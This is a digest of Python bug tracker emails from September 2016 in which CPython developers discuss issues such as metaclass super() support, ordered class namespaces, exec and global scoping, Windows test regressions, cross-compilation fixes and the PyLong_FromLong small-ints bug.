From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 16:46:50 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <1473526010.31.0.897204593962.issue23722@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Now that you point it out, I agree "clearly" is overstating things when it comes to claiming bug fix status for a form of usage that has never worked in the entire life of zero-argument super :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:03:27 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 17:03:27 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473527007.53.0.0143811030766.issue24254@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Do realize that the PEP author was there and made the decision along with Guido to not move forward with a new feature that has not seen the light of day in a stable release, so I don't think blaming the sprinting environment is entirely fair in this case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:14:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 17:14:04 +0000
Subject: [issue26900] Exclude the private API from the stable API
In-Reply-To: <1462097873.28.0.0706601779139.issue26900@psf.upfronthosting.co.za>
Message-ID: <1473527644.44.0.483801965435.issue26900@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26900>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:14:53 2016
From: report at bugs.python.org (Qwert225)
Date: Sat, 10 Sep 2016 17:14:53 +0000
Subject: [issue28064] String executed inside a function ignores global
 statements
Message-ID: <1473527693.0.0.0124626059275.issue28064@psf.upfronthosting.co.za>


New submission from Qwert225:

String executed inside a function ignores global statements stated before string execution.

See the example below - the global variable value should be changed to 'newText' by the function, but is not.
Example:

variable = 'text'

def changeVariable():
    global variable
    exec("variable = 'newText'")

changeVariable()

print(str(variable))

----------
messages: 275657
nosy: Qwert225
priority: normal
severity: normal
status: open
title: String executed inside a function ignores global statements
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28064>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:17:12 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Sat, 10 Sep 2016 17:17:12 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473527832.75.0.304646887904.issue26081@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

The actual _futures module appears missing from your latest patch -- what's up with that?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:19:27 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 17:19:27 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>
Message-ID: <1473527967.3.0.290949319569.issue28059@psf.upfronthosting.co.za>


Steve Dower added the comment:

That's strange, win32 should always have _ctypes available. I'll try and take a look later today

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:24:54 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Sat, 10 Sep 2016 17:24:54 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473528294.97.0.410101132167.issue24254@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

While I hadn't read the related thread at the point where I made that comment (so thank you for at least raising the question there), I'm still on the opposite side of the planet, so any decision made in less than 24 hours from proposal to resolution is necessarily "too fast" for global collaboration (and 48 hours is better).

I'm not particularly fond of __definition_order__ either, but one of the specific points raised in the PEP 520 discussions due to Inada-san's pending patch was whether or not making class namespaces ordered by default would eliminate the need for the attribute, and the conclusion was that it *wouldn't*. So the "We made class namespaces ordered, so now __definition_order__ is gone" sounded a lot like folks forgetting that part of the discussions, and instead getting rid of a feature that was there for multiple reasons, not just because __dict__ didn't preserve the order.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:27:10 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 17:27:10 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>
Message-ID: <1473528430.69.0.732889447914.issue28059@psf.upfronthosting.co.za>


Steve Dower added the comment:

Though ctypes here is incorrect anyway. I really ought to rewrite it into the winapi module.

I'll revert the memory leak fix and fix the tests for b1, then look at converting it into a native function for b2.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:38:30 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 17:38:30 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473529110.19.0.966886951182.issue24254@psf.upfronthosting.co.za>


Brett Cannon added the comment:

All reasonable points. You just sounded upset and I wanted to point out the decision was not made lightly, without discussion with the person in charge of the proposal and the BDFL, or we were breaking backwards-compatibility due to some drunken ordered dictionary stupor we were in. :)

Anyway, that's it and any further comments I have on this specific topic I'll put on the python-dev thread.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:38:45 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 17:38:45 +0000
Subject: [issue24254] Make class definition namespace ordered by default
In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za>
Message-ID: <1473529125.65.0.559758238687.issue24254@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy:  -brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24254>
_______________________________________

From report at bugs.python.org  Sat Sep 10 13:48:26 2016
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 10 Sep 2016 17:48:26 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473528430.69.0.732889447914.issue28059@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwb=GbS-RChmeMhtK9e8TjoDYPw6rGUVG8PB3JGvZAoSNg@mail.gmail.com>


STINNER Victor added the comment:

> Though ctypes here is incorrect anyway. I really ought to rewrite it into the winapi module.

I agree, it's much better to avoid ctypes in the stdlib.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:12:37 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 10 Sep 2016 18:12:37 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473531157.39.0.158628130803.issue28046@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

With the attached patch, the python test suite runs smoothly on android and without errors on linux. On android, there are two new failed test cases in test_sysconfig that I will look into later (in the frame of this issue, I guess ?), but otherwise about the same tests fail that were failing before.

Here are some details about the fix:

> Another problem is that the shared libraries names of the extension modules are now suffixed with the wrong triplet.

This is because _init_posix() in Lib/distutils/sysconfig.py still imports the native python sysconfigdata module instead of the newly built one for the target host.

After _init_posix() is fixed, another problem occurs: extension modules are now built by including /usr/include from the native system and this leads to some unresolved dlopen references at run time on android. The reason is that add_gcc_paths() in setup.py calls sysconfig.get_config_var('CC') and this returns the native compiler instead of the cross-compiler.

So a solution is to set the _SYSCONFIGDATA_NAME environment variable in PYTHON_FOR_BUILD.

----------
Added file: http://bugs.python.org/file44532/sysconfigdata_env_var.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:14:19 2016
From: report at bugs.python.org (Martin Teichmann)
Date: Sat, 10 Sep 2016 18:14:19 +0000
Subject: [issue23722] During metaclass.__init__,
 super() of the constructed class does not work
In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za>
Message-ID: <1473531259.04.0.0279021810635.issue23722@psf.upfronthosting.co.za>


Martin Teichmann added the comment:

This is the originial patch rebased such that it applies to the current master.

As a detail in the discussion: "__classcell__" is not visible during the execution of the class body, as it is added at the end of the class body. In this regard, it is different from "__qualname__", which is set at the beginning of the class body such that it may be changed.

The new __classcell__ does show up, however, in the namespace parameter to the __new__ method of the metaclass.

----------
Added file: http://bugs.python.org/file44533/classcell.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23722>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:21:34 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 10 Sep 2016 18:21:34 +0000
Subject: [issue25969] Update lib2to3 grammar to include missing unpacking
 generalizations.
In-Reply-To: <1473525862.84.0.149883398847.issue25969@psf.upfronthosting.co.za>
Message-ID: <CAGE7PN+D_fm9j=T8ycdrHB5EY2oNWa5siMatwFnv5-9JPRzQMw@mail.gmail.com>


Gregory P. Smith added the comment:

Haha whoops, that'd be my debugging. I'll remove it this weekend if nobody
else has gotten to it.

On Sat, Sep 10, 2016, 9:44 AM Xiang Zhang <report at bugs.python.org> wrote:

>
> Xiang Zhang added the comment:
>
> Gregory, the change adds a print in:
> https://hg.python.org/cpython/file/tip/Lib/lib2to3/fixes/fix_reload.py#l29
>
> ./python -m test test_lib2to3
> Run tests sequentially
> 0:00:00 [1/1] test_lib2to3
> obj: Leaf(1, 'a')
> obj: Leaf(1, 'a')
> obj: Leaf(1, 'a')
> obj: Leaf(1, 'a')
> obj: Leaf(1, 'a')
> obj: Leaf(1, 'a')
> obj: Node(star_expr, [Leaf(16, '*'), Leaf(1, 'h')])
> obj: Node(argument, [Leaf(36, '**'), Leaf(1, 'i')])
> 1 test OK.
>
> Total duration: 12 sec
> Tests result: SUCCESS
>
> ----------
> nosy: +xiang.zhang
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue25969>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25969>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:23:41 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 18:23:41 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473531157.39.0.158628130803.issue28046@psf.upfronthosting.co.za>
Message-ID: <CAKJDb-NUb-nW9woqajswHcxv_xV0orS6R1nrPRN=Vn01T+J0iQ@mail.gmail.com>


Zachary Ware added the comment:

LGTM, thank you Xavier!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:32:38 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 18:32:38 +0000
Subject: [issue24693] zipfile: change RuntimeError to more appropriate
 exception type
In-Reply-To: <1437654224.43.0.502488912035.issue24693@psf.upfronthosting.co.za>
Message-ID: <20160910183235.21256.58961.806954C4@psf.io>


Roundup Robot added the comment:

New changeset 22112359abcf by Serhiy Storchaka in branch 'default':
Issue #24693: Changed some RuntimeError's in the zipfile module to more
https://hg.python.org/cpython/rev/22112359abcf

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24693>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:33:23 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:33:23 +0000
Subject: [issue2380] Raise a Py3K warning for catching nested tuples with
 non-BaseException exceptions
In-Reply-To: <1205812263.49.0.840453912449.issue2380@psf.upfronthosting.co.za>
Message-ID: <1473532403.41.0.999214796631.issue2380@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee: belopolsky -> 
versions:  -Python 2.6, Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue2380>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:33:53 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:33:53 +0000
Subject: [issue15390] PEP 3121, 384 refactoring applied to datetime module
In-Reply-To: <1342647232.82.0.0763290244077.issue15390@psf.upfronthosting.co.za>
Message-ID: <1473532433.77.0.0651201323598.issue15390@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee: belopolsky -> 
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15390>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:34:48 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:34:48 +0000
Subject: [issue8915] Use locale.nl_langinfo in _strptime
In-Reply-To: <1275795309.62.0.41465361185.issue8915@psf.upfronthosting.co.za>
Message-ID: <1473532488.6.0.528235518476.issue8915@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8915>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:35:31 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:35:31 +0000
Subject: [issue5516] equality not symmetric for subclasses of datetime.date
 and datetime.datetime
In-Reply-To: <1237423886.27.0.985547007127.issue5516@psf.upfronthosting.co.za>
Message-ID: <1473532530.99.0.661018400771.issue5516@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5516>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:36:18 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:36:18 +0000
Subject: [issue9398] Unify sys.settrace and sys.setprofile tests
In-Reply-To: <1280329442.24.0.0145405625071.issue9398@psf.upfronthosting.co.za>
Message-ID: <1473532578.32.0.356366503057.issue9398@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee: belopolsky -> 
versions:  -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9398>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:36:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 18:36:56 +0000
Subject: [issue24693] zipfile: change RuntimeError to more appropriate
 exception type
In-Reply-To: <1437654224.43.0.502488912035.issue24693@psf.upfronthosting.co.za>
Message-ID: <1473532616.92.0.783578322069.issue24693@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Changed cases 3, 4, 5, 7, and 8.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24693>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:37:14 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 18:37:14 +0000
Subject: [issue26885] Add parsing support for more types in xmlrpc
In-Reply-To: <1461943983.79.0.576979457392.issue26885@psf.upfronthosting.co.za>
Message-ID: <1473532634.69.0.676455267116.issue26885@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26885>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:37:19 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:37:19 +0000
Subject: [issue766910] fix one or two bugs in trace.py
Message-ID: <1473532639.59.0.393380681133.issue766910@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee: belopolsky -> 
versions: +Python 3.7 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue766910>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:38:37 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:38:37 +0000
Subject: [issue9004] datetime.utctimetuple() should not set tm_isdst flag to 0
In-Reply-To: <1276659404.06.0.425467293989.issue9004@psf.upfronthosting.co.za>
Message-ID: <1473532717.35.0.144077276009.issue9004@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9004>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:41:24 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 18:41:24 +0000
Subject: [issue10342] trace module cannot produce coverage reports for zipped
 modules
In-Reply-To: <1289057209.7.0.964126417973.issue10342@psf.upfronthosting.co.za>
Message-ID: <1473532884.4.0.762698818284.issue10342@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10342>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:42:10 2016
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 10 Sep 2016 18:42:10 +0000
Subject: [issue28065] Update Windows build to xz-5.2.2
Message-ID: <1473532930.34.0.476598665602.issue28065@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Attached patch builds xz-5.2.2 ourselves rather than relying on pre-built binaries.  It copies the project file from xz and modifies it to fit our setup, so updates may not be a 3 line change like a sqlite3 update.

This is rather beta-quality, I'm sure there's some cleanup that can be done.  If nobody gets a chance to look at it before tomorrow, I'm going to sneak it in anyway before b1.

----------
assignee: zach.ware
components: Build, Windows
files: build_xz.diff
keywords: patch
messages: 275670
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Update Windows build to xz-5.2.2
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44534/build_xz.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28065>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:49:59 2016
From: report at bugs.python.org (Brett Cannon)
Date: Sat, 10 Sep 2016 18:49:59 +0000
Subject: [issue27593] Deprecate sys._mercurial and create sys._git
In-Reply-To: <1469223805.51.0.614192375682.issue27593@psf.upfronthosting.co.za>
Message-ID: <1473533399.7.0.481985070219.issue27593@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Here is a patch to add sys._git and update Py_GetBuildInfo() as necessary. I would like to see this in Python 3.6 as 3.6.0 will be released using Mercurial but (hopefully) subsequent releases will be on git, so any reviews will be appreciated.

I will hold off on removing sys._mercurial until 3.7 as that will be the first release that doesn't span version control systems.

----------
keywords: +patch
nosy: +ned.deily
priority: normal -> release blocker
versions: +Python 3.6
Added file: http://bugs.python.org/file44535/issue27593.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27593>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:54:03 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 18:54:03 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <20160910185400.48439.25068.9A3807F1@psf.io>


Roundup Robot added the comment:

New changeset dbfcb3b9c3c1 by Steve Dower in branch '3.5':
Issue #27932: Backs out change
https://hg.python.org/cpython/rev/dbfcb3b9c3c1

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 10 14:54:59 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 18:54:59 +0000
Subject: [issue27932] platform.win32_ver() leaks in 2.7.12
In-Reply-To: <1472744071.14.0.482080718706.issue27932@psf.upfronthosting.co.za>
Message-ID: <1473533699.02.0.868497221483.issue27932@psf.upfronthosting.co.za>


Steve Dower added the comment:

Backed out because of issue28059. I'll rewrite this to properly use native code.

----------
assignee:  -> steve.dower

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27932>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:02:01 2016
From: report at bugs.python.org (Ed Schouten)
Date: Sat, 10 Sep 2016 19:02:01 +0000
Subject: [issue28066] [Patch] Fix the ability to cross compile Python when
 doing a rebuild of importlib.h
Message-ID: <1473534121.66.0.287629200488.issue28066@psf.upfronthosting.co.za>


New submission from Ed Schouten:

For CloudABI (https://mail.python.org/pipermail/python-dev/2016-July/145708.html) we're providing packages containing a precompiled copy of Python. As we had to make some changes to importlib (namely to deal with directory file descriptors), we have to do a rebuild of importlib.h during the cross compilation process, using Programs/_freeze_importlib.

We've run into a couple of issues that require us to patch up the build system to make this work:

- First of all, Programs/_freeze_importlib is built using the compiler for the target. There is no way to override this. The OpenWRT folks have also run into this issue and have patched up the Makefile to add a $FREEZE_IMPORTLIB that allows you to use a different executable:

https://github.com/openwrt/packages/blob/master/lang/python3/patches/013-make-freeze-import-lib-into-an-override-able-var.patch

This patch is almost correct; it doesn't prevent _freeze_importlib from being built, which is needed in our case as it doesn't build cleanly on CloudABI.

- Second, if an out-of-tree build is performed, we need to make sure that Python/frozen.c imports the right copy of importlib.h. We must add -IPython to the compiler flags to realise.

Attached is a patch that contains the modifications that we've made to Makefile.pre.in to make cross compilation work for us.

----------
components: Interpreter Core
files: patch-freeze-importlib
messages: 275674
nosy: EdSchouten
priority: normal
severity: normal
status: open
title: [Patch] Fix the ability to cross compile Python when doing a rebuild of importlib.h
versions: Python 3.7
Added file: http://bugs.python.org/file44536/patch-freeze-importlib

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28066>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:02:53 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:02:53 +0000
Subject: [issue25221] PyLong_FromLong() potentially returns irregular object
 when small_ints[] isn't used
In-Reply-To: <1443029032.54.0.224615984306.issue25221@psf.upfronthosting.co.za>
Message-ID: <1473534173.93.0.122722961809.issue25221@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
assignee:  -> mark.dickinson
nosy: +mark.dickinson
stage:  -> commit review
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25221>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:08:50 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:08:50 +0000
Subject: [issue28060] Clean up division fast paths in Objects/longobject.c
In-Reply-To: <1473504373.09.0.740082667997.issue28060@psf.upfronthosting.co.za>
Message-ID: <1473534530.39.0.280810781588.issue28060@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Serhiy: thanks for the review. Replying here, since I get a 500 error every time I try to reply from Rietveld.

I'd rather not rely on either NSMALLPOSINTS > 0 or on digit 0 existing when Py_SIZE is 0. We don't rely on that elsewhere, and the code should stay simple where possible.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28060>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:10:57 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sat, 10 Sep 2016 19:10:57 +0000
Subject: [issue28064] String executed inside a function ignores global
 statements
In-Reply-To: <1473527693.0.0.0124626059275.issue28064@psf.upfronthosting.co.za>
Message-ID: <1473534657.31.0.75373828303.issue28064@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Not a bug. Put the global statement inside:

>>> variable = 'test'
>>> def changeVariable():
...     exec("global variable; variable = 'newText'")
... 
>>> changeVariable()
>>> print(variable)
newText

----------
nosy: +xiang.zhang
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28064>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:12:01 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sat, 10 Sep 2016 19:12:01 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473534721.6.0.426089610723.issue28046@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Much thanks! It's now building fine and running fine with my configuration. The test suite is still running and I believe there won't be more surprise than failed tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:13:49 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Sat, 10 Sep 2016 19:13:49 +0000
Subject: [issue28067] Do not call localtime in datetime module
Message-ID: <1473534829.3.0.972472508629.issue28067@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

POSIX localtime function mutates global state which leads to subtle bugs on some platforms.  We should call localtime_r or localtime_s instead.

See issue 22627.

----------
assignee: belopolsky
messages: 275678
nosy: belopolsky
priority: normal
severity: normal
status: open
title: Do not call localtime in datetime module
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28067>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:14:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 10 Sep 2016 19:14:38 +0000
Subject: [issue28060] Clean up division fast paths in Objects/longobject.c
In-Reply-To: <1473504373.09.0.740082667997.issue28060@psf.upfronthosting.co.za>
Message-ID: <1473534878.29.0.575552598473.issue28060@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch LGTM. I'll open separate issue for guaranteeing that a->ob_digit[0] is 0 in case of Py_SIZE(a) == 0 and using this fact for simplifying and optimizing the code.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28060>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:20:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 19:20:23 +0000
Subject: [issue25221] PyLong_FromLong() potentially returns irregular object
 when small_ints[] isn't used
In-Reply-To: <1443029032.54.0.224615984306.issue25221@psf.upfronthosting.co.za>
Message-ID: <20160910192020.12414.24979.58D572BE@psf.io>


Roundup Robot added the comment:

New changeset 9eb0f7762999 by Mark Dickinson in branch '3.5':
Issue #25221: Fix corrupted result from PyLong_FromLong(0) when Python is compiled with NSMALLPOSINTS = 0.
https://hg.python.org/cpython/rev/9eb0f7762999

New changeset c7b48798dbaa by Mark Dickinson in branch 'default':
Issue #25221: merge from 3.5.
https://hg.python.org/cpython/rev/c7b48798dbaa

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25221>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:21:26 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sat, 10 Sep 2016 19:21:26 +0000
Subject: [issue25221] PyLong_FromLong() potentially returns irregular object
 when small_ints[] isn't used
In-Reply-To: <1443029032.54.0.224615984306.issue25221@psf.upfronthosting.co.za>
Message-ID: <1473535286.84.0.785327205356.issue25221@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Thanks for the report! Fixed.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25221>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:24:05 2016
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 Sep 2016 19:24:05 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>
Message-ID: <1473535445.1.0.581777184049.issue28059@psf.upfronthosting.co.za>


Steve Dower added the comment:

This bug is entirely because _ctypes cannot be found when we launch from the symlink without also setting PYTHONPATH.

I've already removed the import of _ctypes, but I'll also set PYTHONPATH in the test as there's no reason to require only builtins here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28059>
_______________________________________

From report at bugs.python.org  Sat Sep 10 15:25:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 10 Sep 2016 19:25:26 +0000
Subject: [issue28059] Windows: test_platform.test_architecture_via_symlink()
 regression
In-Reply-To: <1473495198.34.0.418731997358.issue28059@psf.upfronthosting.co.za>
Message-ID: <20160910192523.1920.48109.51FA5295@psf.io>


Roundup Robot added the comment:

